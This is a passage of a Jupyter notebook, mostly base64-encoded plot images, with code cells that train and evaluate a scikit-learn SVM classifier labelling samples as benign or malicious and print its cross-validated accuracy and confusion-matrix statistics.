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\n", + "text": [ + "" + ] + } + ], + "prompt_number": 180 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "import sklearn.svm\n", + "import sklearn.preprocessing\n", + "clf_svc = sklearn.svm.SVC()\n", + "X_svc = df.as_matrix(all_features)\n", + "X_svc = sklearn.preprocessing.scale(X_svc)\n", + "y_svc = np.array(df['label'].tolist())\n", + "labels = ['benign', 'malicious']\n", + "\n", + "scores = sklearn.cross_validation.cross_val_score(clf_svc, X_svc, y_svc, cv=10)\n", + "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Accuracy: 0.993 (+/- 0.015)\n" + ] + } + ], + "prompt_number": 181 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "# 80/20 Split for predictive test\n", + "X_train, X_test, y_train, y_test = train_test_split(X_svc, y_svc, test_size=my_tsize, random_state=my_seed)\n", + "clf_svc.fit(X_train, y_train)\n", + "y_pred = clf_svc.predict(X_test)\n", + "cm = confusion_matrix(y_test, y_pred, labels)\n", + "plot_cm(cm, labels)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Confusion Matrix Stats\n", + "benign/benign: 98.89% (89/90)\n", + "benign/malicious: 1.11% (1/90)\n", + "malicious/benign: 0.00% (0/114)\n", + "malicious/malicious: 100.00% (114/114)\n" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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